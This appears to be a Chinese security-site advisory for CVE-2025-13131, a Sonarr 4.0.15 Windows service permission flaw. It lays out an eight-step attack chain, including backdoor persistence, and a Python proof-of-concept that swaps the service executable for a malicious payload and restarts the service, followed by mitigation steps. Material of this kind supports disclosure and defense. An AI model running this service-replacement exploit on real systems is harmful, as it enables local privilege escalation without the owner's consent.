IPBUF安全漏洞报告
English
CVE-2025-13131 CVSS 7.8 高危

CVE-2025-13131 Sonarr 4.0.15 服务默认权限配置错误漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13131
漏洞类型
权限配置错误
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sonarr 4.0.15.2940

相关标签

CVE-2025-13131Sonarr权限配置错误服务权限Windows服务本地权限提升文件权限不安全默认配置高危漏洞媒体服务器

漏洞概述

CVE-2025-13131是Sonarr媒体管理服务器软件中的一个高危安全漏洞。该漏洞存在于Sonarr 4.0.15.2940版本的Windows服务组件中,具体影响文件为C:\ProgramData\Sonarr\bin\Sonarr.Console.exe。漏洞的根本原因是安装过程中对可执行文件设置了不安全的默认文件权限,导致低权限用户可以修改或替换该可执行文件。由于Sonarr以服务形式在后台运行,攻击者通过替换服务可执行文件,可以在服务重启或系统重启时以服务账户权限执行任意恶意代码,从而实现权限提升攻击。该漏洞的CVSS评分为7.8,属于高危级别。攻击者需要具备本地访问权限和低权限用户账号才能利用此漏洞,但无需用户交互即可完成攻击。漏洞影响系统的机密性、完整性和可用性三个方面,均达到高影响级别。Sonarr官方已确认此漏洞的存在,但认为其严重程度较低,因为默认情况下服务使用受限的服务账户运行。不过,在企业环境中,如果管理员将服务配置为使用高权限账户(如管理员账户或SYSTEM账户),则该漏洞可能导致严重的安全风险。官方计划在下一代主要版本v5中修复此问题。

技术细节

该漏洞属于Windows服务权限配置错误(Insecure Service Permissions)类型。在Windows系统中,服务的启动权限和关联可执行文件的访问权限决定了服务的安全性。Sonarr 4.0.15.2940在安装过程中,将Sonarr.Console.exe文件安装到C:\ProgramData\Sonarr\bin\目录下,并设置了过于宽松的默认ACL(访问控制列表)权限。具体表现为:Authenticated Users或Users组对可执行文件具有修改(Write)或完全控制(Full Control)权限。攻击者利用此漏洞的典型步骤如下:首先,使用低权限账户登录目标系统;其次,定位到C:\ProgramData\Sonarr\bin\Sonarr.Console.exe文件;然后,将原始的Sonarr.Console.exe重命名为备份文件;接着,将恶意可执行文件复制到该目录并重命名为Sonarr.Console.exe;最后,等待服务重启或手动触发服务重启。由于Sonarr服务通常配置为自动启动,攻击者可以通过系统重启来触发恶意代码执行。恶意代码将以服务账户的权限运行,如果服务配置为使用高权限账户,则攻击者可以获得相应的高级权限。此漏洞与经典的DLL劫持和服务替换攻击有相似之处,但更加直接,因为攻击者可以直接替换整个可执行文件。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获得目标系统的低权限访问权限(如通过钓鱼、社会工程或利用其他漏洞),并确认Sonarr服务已安装且正在运行。
STEP 2
步骤2:权限检查
攻击者使用icacls、PowerView或其他工具检查C:\ProgramData\Sonarr\bin\Sonarr.Console.exe文件的ACL权限,确认Users组或Authenticated Users具有写入或修改权限。
STEP 3
步骤3:准备恶意载荷
攻击者准备一个恶意可执行文件,该文件包含期望执行的攻击载荷,如反弹shell、添加后门用户、下载额外工具等。
STEP 4
步骤4:备份原始文件
攻击者将原始的Sonarr.Console.exe文件重命名为备份文件(如Sonarr.Console.exe.backup),以确保后续可以恢复或用于持久化。
STEP 5
步骤5:替换可执行文件
攻击者将恶意可执行文件复制到C:\ProgramData\Sonarr\bin\目录,并重命名为Sonarr.Console.exe,覆盖原始文件。
STEP 6
步骤6:触发服务重启
攻击者等待系统或服务自动重启(如通过计划任务、系统更新或手动重启命令),或者使用net stop/start命令强制重启Sonarr服务。
STEP 7
步骤7:权限提升
当Sonarr服务启动时,会执行替换后的恶意可执行文件,攻击者因此获得服务账户的权限。如果服务配置为使用高权限账户(如LocalSystem、Administrator或域管理员),攻击者将实现横向移动或域权限提升。
STEP 8
步骤8:持久化与后门
攻击者可以在服务重启后恢复原始文件以避免被发现,同时通过其他方式建立持久化后门,如创建服务账户、计划任务或注册表Run键值。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13131 PoC - Sonarr Service Permission Misconfiguration # This PoC demonstrates the permission vulnerability in Sonarr 4.0.15.2940 # Author: Security Researcher # Date: 2025-11-13 import os import shutil import subprocess import sys SONARR_PATH = r"C:\ProgramData\Sonarr\bin\Sonarr.Console.exe" MALICIOUS_EXE = "malicious_payload.exe" # Replace with actual malicious executable def check_vulnerability(): """Check if Sonarr executable has insecure permissions""" try: # Check current permissions on the file result = subprocess.run( ['icacls', SONARR_PATH], capture_output=True, text=True ) print("[+] Current permissions on Sonarr.Console.exe:") print(result.stdout) # Check if Users group has write access if 'Users' in result.stdout and 'F' in result.stdout or 'W' in result.stdout: print("[!] VULNERABLE: Users group has write/modify permissions") return True else: print("[-] NOT VULNERABLE: Permissions appear to be secure") return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def exploit_vulnerability(): """Exploit the vulnerability by replacing the Sonarr executable""" try: # Backup original executable backup_path = SONARR_PATH + ".backup" print(f"[+] Backing up original executable to {backup_path}") shutil.copy2(SONARR_PATH, backup_path) # Replace with malicious executable print(f"[+] Replacing {SONARR_PATH} with malicious payload") shutil.copy2(MALICIOUS_EXE, SONARR_PATH) # Verify replacement if os.path.exists(SONARR_PATH): print("[+] Replacement successful") print("[!] Malicious code will execute when Sonarr service restarts") # Try to restart the service try: print("[+] Attempting to restart Sonarr service...") subprocess.run(['net', 'stop', 'Sonarr'], capture_output=True, timeout=30) subprocess.run(['net', 'start', 'Sonarr'], capture_output=True, timeout=30) print("[+] Service restart triggered") except: print("[!] Could not restart service automatically - manual restart required") else: print("[-] Replacement failed") except Exception as e: print(f"[-] Exploitation error: {e}") def restore_original(): """Restore the original executable after exploitation""" try: backup_path = SONARR_PATH + ".backup" if os.path.exists(backup_path): shutil.copy2(backup_path, SONARR_PATH) os.remove(backup_path) print("[+] Original executable restored") except Exception as e: print(f"[-] Restore error: {e}") if __name__ == "__main__": print("CVE-2025-13131 - Sonarr Service Permission Misconfiguration") print("=" * 60) if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit_vulnerability() elif len(sys.argv) > 1 and sys.argv[1] == "--restore": restore_original() else: print("Usage:") print(" python cve-2025-13131.py --exploit : Exploit the vulnerability") print(" python cve-2025-13131.py --restore : Restore original executable") print() check_vulnerability()

影响范围

Sonarr 4.0.15.2940

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:首先,立即检查Sonarr服务可执行文件的权限配置,使用Windows内置的icacls工具或第三方安全工具验证C:\ProgramData\Sonarr\bin\Sonarr.Console.exe文件是否具有不安全的默认权限。其次,如果发现权限配置不当,应立即使用icacls命令移除不必要的写入权限,确保只有Administrator和SYSTEM账户具有完全控制权限。同时,检查并确保Sonarr服务账户是低权限用户,避免使用高权限账户运行服务。此外,建议通过组策略或EDR解决方案加强对ProgramData目录的监控,及时发现和阻止对该目录中可执行文件的未授权修改。最后,考虑在企业环境中实施应用程序白名单策略,防止恶意程序利用权限配置错误进行攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表